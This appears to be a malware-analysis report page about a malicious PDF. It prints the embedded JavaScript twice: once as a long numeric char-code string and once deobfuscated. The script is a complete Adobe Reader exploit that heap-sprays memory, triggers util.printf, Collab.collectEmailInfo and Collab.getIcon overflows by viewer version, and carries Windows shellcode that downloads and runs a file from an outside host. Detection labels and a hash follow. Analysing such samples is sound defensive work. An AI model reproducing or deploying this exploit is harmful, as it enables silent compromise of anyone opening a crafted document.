65@37@117@48@65@48@65@34@41@59@10@32@104@101@97@100@101@114@115@105@122@101@32@61@32@50@48@59@10@32@115@112@114@97@121@32@61@32@104@101@97@100@101@114@115@105@122@101@43@104@101@97@112@98@108@111@99@107@46@108@101@110@103@116@104@59@10@32@119@104@105@108@101@32@40@98@105@103@98@108@111@99@107@46@108@101@110@103@116@104@60@115@112@114@97@121@41@32@98@105@103@98@108@111@99@107@43@61@98@105@103@98@108@111@99@107@59@10@32@102@105@108@108@98@108@111@99@107@32@61@32@98@105@103@98@108@111@99@107@46@115@117@98@115@116@114@105@110@103@40@48@44@32@115@112@114@97@121@41@59@10@32@98@108@111@99@107@32@61@32@98@105@103@98@108@111@99@107@46@115@117@98@115@116@114@105@110@103@40@48@44@32@98@105@103@98@108@111@99@107@46@108@101@110@103@116@104@45@115@112@114@97@121@41@59@10@32@119@104@105@108@101@40@98@108@111@99@107@46@108@101@110@103@116@104@43@115@112@114@97@121@32@60@32@48@120@52@48@48@48@48@41@32@98@108@111@99@107@32@61@32@98@108@111@99@107@43@98@108@111@99@107@43@102@105@108@108@98@108@111@99@107@59@10@32@109@101@109@32@61@32@110@101@119@32@65@114@114@97@121@40@41@59@10@32@102@111@114@32@40@105@61@48@59@105@60@49@52@48@48@59@105@43@43@41@32@109@101@109@91@105@93@32@61@32@98@108@111@99@107@32@43@32@104@101@97@112@98@108@111@99@107@59@10@32@118@97@114@32@110@117@109@32@61@32@49@50@57@57@57@57@57@57@57@57@57@57@57@57@57@57@57@57@57@57@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@56@59@10@32@117@116@105@108@46@112@114@105@110@116@102@40@34@37@52@53@48@48@48@102@34@44@110@117@109@41@59@10@32@125@10@32@102@117@110@99@116@105@111@110@32@102@105@120@95@105@116@40@121@97@114@115@112@44@32@108@101@110@41@10@32@123@10@32@119@104@105@108@101@32@40@121@97@114@115@112@46@108@101@110@103@116@104@42@50@60@108@101@110@41@10@32@123@10@32@121@97@114@115@112@32@43@61@32@121@97@114@115@112@59@10@32@125@10@32@121@97@114@115@112@32@61@32@121@97@114@115@112@46@115@117@98@115@116@114@105@110@103@40@48@44@108@101@110@47@50@41@59@10@32@114@101@116@117@114@110@32@121@97@114@115@112@59@10@32@125@10@32@105@102@32@40@118@101@114@115@105@111@110@32@60@32@56@41@10@32@123@10@32@10@32@118@97@114@32@109@101@109@95@97@114@114@97@121@32@61@32@110@101@119@32@65@114@114@97@121@40@41@59@10@32@118@97@114@32@99@99@32@61@32@48@120@48@99@48@99@48@99@48@99@59@10@32@118@97@114@32@97@100@100@114@32@61@32@48@120@52@48@48@48@48@48@59@10@32@118@97@114@32@112@97@121@108@111@97@100@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@67@48@51@51@37@117@56@66@54@52@37@117@51@48@52@48@37@117@48@67@55@56@37@117@52@48@56@66@37@117@56@66@48@67@37@117@49@67@55@48@37@117@56@66@65@68@37@117@48@56@53@56@37@117@48@57@69@66@37@117@52@48@56@66@37@117@56@68@51@52@37@117@55@67@52@48@37@117@53@56@56@66@37@117@54@65@51@67@37@117@53@65@52@52@37@117@69@50@68@49@37@117@69@50@50@66@37@117@69@67@56@66@37@117@52@70@69@66@37@117@53@50@53@65@37@117@69@65@56@51@37@117@56@57@53@54@37@117@48@52@53@53@37@117@53@55@53@54@37@117@55@51@56@66@37@117@56@66@51@67@37@117@51@51@55@52@37@117@48@51@55@56@37@117@53@54@70@51@37@117@55@54@56@66@37@117@48@51@50@48@37@117@51@51@70@51@37@117@52@57@67@57@37@117@52@49@53@48@37@117@51@51@65@68@37@117@51@54@70@70@37@117@66@69@48@70@37@117@48@51@49@52@37@117@70@50@51@56@37@117@48@56@55@52@37@117@67@70@67@49@37@117@48@51@48@68@37@117@52@48@70@65@37@117@69@70@69@66@37@117@51@66@53@56@37@117@55@53@70@56@37@117@53@69@69@53@37@117@52@54@56@66@37@117@48@51@50@52@37@117@54@54@67@51@37@117@48@67@56@66@37@117@56@66@52@56@37@117@49@67@53@54@37@117@68@51@48@51@37@117@48@52@56@66@37@117@48@51@56@65@37@117@53@70@67@51@37@117@53@48@53@69@37@117@56@68@67@51@37@117@48@56@55@68@37@117@53@50@53@55@37@117@51@51@66@56@37@117@56@65@67@65@37@117@69@56@53@66@37@117@70@70@65@50@37@117@70@70@70@70@37@117@67@48@51@50@37@117@70@55@56@66@37@117@65@69@70@50@37@117@66@56@52@70@37@117@50@69@54@53@37@117@55@56@54@53@37@117@54@54@65@66@37@117@54@54@57@56@37@117@51@51@65@66@37@117@66@56@67@48@37@117@54@52@54@49@37@117@48@48@48@48@37@117@54@56@53@48@37@117@54@56@53@52@37@117@54@53@55@50@37@117@50@52@51@53@37@117@54@57@49@67@37@117@53@48@55@52@37@117@53@51@53@52@37@117@65@65@66@56@37@117@48@68@70@67@37@117@70@70@55@67@37@117@48@52@53@53@37@117@70@56@56@66@37@117@67@52@56@51@37@117@66@48@48@67@37@117@56@65@54@67@37@117@57@56@69@48@37@117@54@56@53@48@37@117@54@69@54@70@37@117@54@52@50@69@37@117@55@53@54@56@37@117@54@67@55@50@37@117@53@52@54@68@37@117@56@69@66@56@37@117@48@69@52@69@37@117@70@70@69@67@37@117@48@52@53@53@37@117@53@48@57@51@37@117@67@48@51@51@37@117@53@48@53@48@37@117@56@66@53@54@37@117@48@52@53@53@37@117@67@50@56@51@37@117@56@51@55@70@37@117@52@67@67@50@37@117@53@48@53@50@37@117@51@54@66@56@37@117@50@70@49@65@37@117@70@70@55@48@37@117@48@52@53@53@37@117@53@55@53@66@37@117@66@56@53@54@37@117@70@69@57@56@37@117@48@69@56@65@37@117@53@53@70@70@37@117@54@65@48@52@37@117@70@70@48@48@37@117@54@56@68@55@37@117@55@52@55@52@37@117@51@65@55@48@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@53@55@50@37@117@55@53@54@69@37@117@55@50@55@52@37@117@55@48@54@70@37@117@54@51@50@69@37@117@54@68@54@70@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@52@54@49@37@117@55@48@50@69@37@117@55@48@54@56@37@117@54@57@51@70@37@117@51@68@54@52@37@117@48@48@51@51@34@41@59@10@32@118@97@114@32@115@99@95@108@101@110@32@61@32@112@97@121@108@111@97@100@46@108@101@110@103@116@104@32@42@32@50@59@10@32@118@97@114@32@108@101@110@32@61@32@97@100@100@114@32@45@32@40@115@99@95@108@101@110@43@48@120@51@56@41@59@10@32@118@97@114@32@121@97@114@115@112@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@57@48@57@48@37@117@57@48@57@48@34@41@59@10@32@121@97@114@115@112@32@61@32@102@105@120@95@105@116@40@121@97@114@115@112@44@32@108@101@110@41@59@10@32@118@97@114@32@99@111@117@110@116@50@32@61@32@40@99@99@32@45@32@48@120@52@48@48@48@48@48@41@47@97@100@100@114@59@10@32@102@111@114@32@40@118@97@114@32@99@111@117@110@116@61@48@59@99@111@117@110@116@60@99@111@117@110@116@50@59@99@111@117@110@116@43@43@41@10@32@123@10@32@109@101@109@95@97@114@114@97@121@91@99@111@117@110@116@93@32@61@32@121@97@114@115@112@32@43@32@112@97@121@108@111@97@100@59@10@32@125@10@32@118@97@114@32@111@118@101@114@102@108@111@119@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@48@99@48@99@37@117@48@99@48@99@34@41@59@10@32@119@104@105@108@101@40@111@118@101@114@102@108@111@119@46@108@101@110@103@116@104@32@60@32@52@52@57@53@50@41@32@111@118@101@114@102@108@111@119@32@43@61@32@111@118@101@114@102@108@111@119@59@10@32@116@104@105@115@46@99@111@108@108@97@98@83@116@111@114@101@32@61@32@67@111@108@108@97@98@46@99@111@108@108@101@99@116@69@109@97@105@108@73@110@102@111@40@10@32@123@10@32@115@117@98@106@58@32@34@34@44@109@115@103@58@32@111@118@101@114@102@108@111@119@10@32@125@10@32@41@59@10@32@125@10@32@105@102@32@40@118@101@114@115@105@111@110@32@60@32@57@46@49@41@10@32@123@10@32@105@102@32@40@97@112@112@46@100@111@99@46@67@111@108@108@97@98@46@103@101@116@73@99@111@110@41@10@32@123@10@32@118@97@114@32@112@97@121@108@111@97@100@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@67@48@51@51@37@117@56@66@54@52@37@117@51@48@52@48@37@117@48@67@55@56@37@117@52@48@56@66@37@117@56@66@48@67@37@117@49@67@55@48@37@117@56@66@65@68@37@117@48@56@53@56@37@117@48@57@69@66@37@117@52@48@56@66@37@117@56@68@51@52@37@117@55@67@52@48@37@117@53@56@56@66@37@117@54@65@51@67@37@117@53@65@52@52@37@117@69@50@68@49@37@117@69@50@50@66@37@117@69@67@56@66@37@117@52@70@69@66@37@117@53@50@53@65@37@117@69@65@56@51@37@117@56@57@53@54@37@117@48@52@53@53@37@117@53@55@53@54@37@117@55@51@56@66@37@117@56@66@51@67@37@117@51@51@55@52@37@117@48@51@55@56@37@117@53@54@70@51@37@117@55@54@56@66@37@117@48@51@50@48@37@117@51@51@70@51@37@117@52@57@67@57@37@117@52@49@53@48@37@117@51@51@65@68@37@117@51@54@70@70@37@117@66@69@48@70@37@117@48@51@49@52@37@117@70@50@51@56@37@117@48@56@55@52@37@117@67@70@67@49@37@117@48@51@48@68@37@117@52@48@70@65@37@117@69@70@69@66@37@117@51@66@53@56@37@117@55@53@70@56@37@117@53@69@69@53@37@117@52@54@56@66@37@117@48@51@50@52@37@117@54@54@67@51@37@117@48@67@56@66@37@117@56@66@52@56@37@117@49@67@53@54@37@117@68@51@48@51@37@117@48@52@56@66@37@117@48@51@56@65@37@117@53@70@67@51@37@117@53@48@53@69@37@117@56@68@67@51@37@117@48@56@55@68@37@117@53@50@53@55@37@117@51@51@66@56@37@117@56@65@67@65@37@117@69@56@53@66@37@117@70@70@65@50@37@117@70@70@70@70@37@117@67@48@51@50@37@117@70@55@56@66@37@117@65@69@70@50@37@117@66@56@52@70@37@117@50@69@54@53@37@117@55@56@54@53@37@117@54@54@65@66@37@117@54@54@57@56@37@117@51@51@65@66@37@117@66@56@67@48@37@117@54@52@54@49@37@117@48@48@48@48@37@117@54@56@53@48@37@117@54@56@53@52@37@117@54@53@55@50@37@117@50@52@51@53@37@117@54@57@49@67@37@117@53@48@55@52@37@117@53@51@53@52@37@117@65@65@66@56@37@117@48@68@70@67@37@117@70@70@55@67@37@117@48@52@53@53@37@117@70@56@56@66@37@117@67@52@56@51@37@117@66@48@48@67@37@117@56@65@54@67@37@117@57@56@69@48@37@117@54@56@53@48@37@117@54@69@54@70@37@117@54@52@50@69@37@117@55@53@54@56@37@117@54@67@55@50@37@117@53@52@54@68@37@117@56@69@66@56@37@117@48@69@52@69@37@117@70@70@69@67@37@117@48@52@53@53@37@117@53@48@57@51@37@117@67@48@51@51@37@117@53@48@53@48@37@117@56@66@53@54@37@117@48@52@53@53@37@117@67@50@56@51@37@117@56@51@55@70@37@117@52@67@67@50@37@117@53@48@53@50@37@117@51@54@66@56@37@117@50@70@49@65@37@117@70@70@55@48@37@117@48@52@53@53@37@117@53@55@53@66@37@117@66@56@53@54@37@117@70@69@57@56@37@117@48@69@56@65@37@117@53@53@70@70@37@117@54@65@48@52@37@117@70@70@48@48@37@117@54@56@68@55@37@117@55@52@55@52@37@117@51@65@55@48@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@53@55@50@37@117@55@53@54@69@37@117@55@50@55@52@37@117@55@48@54@70@37@117@54@51@50@69@37@117@54@68@54@70@37@117@50@70@50@70@37@117@54@70@54@67@37@117@54@52@54@49@37@117@55@48@50@69@37@117@55@48@54@56@37@117@54@57@51@70@37@117@51@68@54@52@37@117@48@48@51@53@34@41@59@10@32@118@97@114@32@104@87@113@53@48@48@67@78@32@61@32@112@97@121@108@111@97@100@46@108@101@110@103@116@104@32@42@32@50@59@10@32@118@97@114@32@108@101@110@32@61@32@48@120@52@48@48@48@48@48@32@45@32@40@104@87@113@53@48@48@67@78@32@43@32@48@120@51@56@41@59@10@32@118@97@114@32@121@97@114@115@112@32@61@32@117@110@101@115@99@97@112@101@40@34@37@117@57@48@57@48@37@117@57@48@57@48@34@41@59@10@32@121@97@114@115@112@32@61@32@102@105@120@95@105@116@40@121@97@114@115@112@44@32@108@101@110@41@59@10@32@118@97@114@32@112@53@65@106@75@54@53@102@32@61@32@40@48@120@48@99@48@99@48@99@48@99@32@45@32@48@120@52@48@48@48@48@48@41@32@47@32@48@120@52@48@48@48@48@48@59@10@32@102@111@114@32@40@118@97@114@32@118@113@99@81@68@57@54@121@32@61@32@48@59@32@118@113@99@81@68@57@54@121@32@60@32@112@53@65@106@75@54@53@102@59@32@118@113@99@81@68@57@54@121@32@43@43@32@41@10@32@123@10@32@97@114@114@121@91@118@113@99@81@68@57@54@121@93@32@61@32@121@97@114@115@112@32@43@32@112@97@121@108@111@97@100@59@10@32@125@10@32@118@97@114@32@116@85@77@104@78@98@71@119@32@61@32@117@110@101@115@99@97@112@101@40@34@37@48@57@34@41@59@10@32@119@104@105@108@101@32@40@116@85@77@104@78@98@71@119@46@108@101@110@103@116@104@32@60@32@48@120@52@48@48@48@41@116@85@77@104@78@98@71@119@32@43@61@32@116@85@77@104@78@98@71@119@59@10@32@116@85@77@104@78@98@71@119@32@61@32@34@78@46@34@32@43@32@116@85@77@104@78@98@71@119@59@10@32@97@112@112@46@100@111@99@46@67@111@108@108@97@98@46@103@101@116@73@99@111@110@40@116@85@77@104@78@98@71@119@41@59@10@32@125@10@32@125@10".replace(/[A-Z]/g,function (c
`numeric_charcode_stage_000.js`	deobfuscated-js	numeric char-code string decoded JavaScript at offset 0x238	4731 bytes
SHA-256: `9d38f8b5074022bfa18cb396f91550125162d80b6251fdb41d581ace8a3c729c`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script var arry = new Array(); var version = app.viewerVersion; if (version > 8) { nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var payload = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u6F6C%u6572%u756E%u7274%u706F%u632E%u6D6F%u2F2F%u6F6C%u6461%u702E%u7068%u693F%u3D64%u0034"); heapblock = nop + payload; bigblock = unescape("%u0A0A%u0A0A"); headersize = 20; spray = headersize+heapblock.length; while (bigblock.length<spray) bigblock+=bigblock; fillblock = bigblock.substring(0, spray); block = bigblock.substring(0, bigblock.length-spray); while(block.length+spray < 0x40000) block = block+block+fillblock; mem = new Array(); for (i=0;i<1400;i++) mem[i] = block + heapblock; var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f",num); } function fix_it(yarsp, len) { while (yarsp.length2<len) { yarsp += yarsp; } yarsp = yarsp.substring(0,len/2); return yarsp; } if (version < 8) { var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var payload = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u6F6C%u6572%u756E%u7274%u706F%u632E%u6D6F%u2F2F%u6F6C%u6461%u702E%u7068%u693F%u3D64%u0033"); var sc_len = payload.length 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count=0;count<count2;count++) { mem_array[count] = yarsp + payload; } var overflow = unescape("%u0c0c%u0c0c"); while(overflow.length < 44952) overflow += overflow; this.collabStore = Collab.collectEmailInfo( { subj: "",msg: overflow } ); } if (version < 9.1) { if (app.doc.Collab.getIcon) { var payload = unescape("%uC033%u8B64%u3040%u0C78%u408B%u8B0C%u1C70%u8BAD%u0858%u09EB%u408B%u8D34%u7C40%u588B%u6A3C%u5A44%uE2D1%uE22B%uEC8B%u4FEB%u525A%uEA83%u8956%u0455%u5756%u738B%u8B3C%u3374%u0378%u56F3%u768B%u0320%u33F3%u49C9%u4150%u33AD%u36FF%uBE0F%u0314%uF238%u0874%uCFC1%u030D%u40FA%uEFEB%u3B58%u75F8%u5EE5%u468B%u0324%u66C3%u0C8B%u8B48%u1C56%uD303%u048B%u038A%u5FC3%u505E%u8DC3%u087D%u5257%u33B8%u8ACA%uE85B%uFFA2%uFFFF%uC032%uF78B%uAEF2%uB84F%u2E65%u7865%u66AB%u6698%u33AB%uB8C0%u6461%u0000%u6850%u6854%u6572%u2435%u691C%u5074%u5354%uAAB8%u0DFC%uFF7C%u0455%uF88B%uC483%uB00C%u8A6C%u98E0%u6850%u6E6F%u642E%u7568%u6C72%u546D%u8EB8%u0E4E%uFFEC%u0455%u5093%uC033%u5050%u8B56%u0455%uC283%u837F%u4CC2%u5052%u36B8%u2F1A%uFF70%u0455%u575B%uB856%uFE98%u0E8A%u55FF%u6A04%uFF00%u68D7%u7474%u3A70%u2F2F%u6F6C%u6572%u756E%u7274%u706F%u632E%u6D6F%u2F2F%u6F6C%u6461%u702E%u7068%u693F%u3D64%u0035"); var hWq500CN = payload.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ) { arry[vqcQD96y] = yarsp + payload; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000)tUMhNbGw += tUMhNbGw; tUMhNbGw = "N." + tUMhNbGw; app.doc.Collab.getIcon(tUMhNbGw); } }

Open this report in the interactive analyzer, or submit your own file for analysis.

PDF

Malware Insights

Machine Learning

Heuristics 11

Related samples 7

Extracted artifacts 3